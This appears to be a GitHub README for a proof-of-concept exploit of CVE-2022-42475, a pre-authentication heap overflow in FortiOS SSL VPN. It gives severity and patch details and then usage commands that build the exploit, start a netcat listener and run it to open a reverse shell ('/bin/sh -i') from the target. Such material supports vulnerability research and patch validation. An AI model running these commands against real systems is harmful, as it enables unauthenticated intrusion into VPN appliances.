ull0a/cve-2022-42475-pocProof of Concept (PoC) for research and controlled laboratory validation of CVE-2022-42475, a critical heap-based buffer overflow vulnerability affecting the SSL-VPN service in certain versions of FortiOS.
Fortinet SSL VPN Pre-Authentication Remote Code Execution
CVE-2022-42475 is a heap-based buffer overflow vulnerability in the FortiOS SSL VPN service that allows unauthenticated attackers to remotely execute arbitrary code (RCE) via specially crafted HTTP requests directed at the /remote/error endpoint.
This vulnerability was actively exploited in the wild (0-day) before the official patch was released.
The following screenshot shows the execution of the PoC in an authorized laboratory environment:
The output shows the execution of the PoC and the interaction with the FortiOS instance used for testing.
| Field | Value |
|---|
| CVE ID | CVE-2022-42475 |
| CVSS 3.1 | 9.3 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-122 |
| Discovered | December 2022 |
| Official patch | FortiOS 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16 |
# Clonar o descargar el código fuente
git clone https://github.com/uLl0a/cve-2022-42475-poc
cd cve-2022-42475-poc
# Compilar
go build -o exploit exploit.go
# O ejecutar directamente
go run exploit.go <target> <port> <reverse_ip> <params>
./exploit <target_host> <target_port> <reverse_ip> <param1> [param2...]
# En el atacante, iniciar listener
nc -lvnp 80
# Ejecutar el exploit
./exploit 192.168.1.100 443 10.0.0.5 /bin/sh -i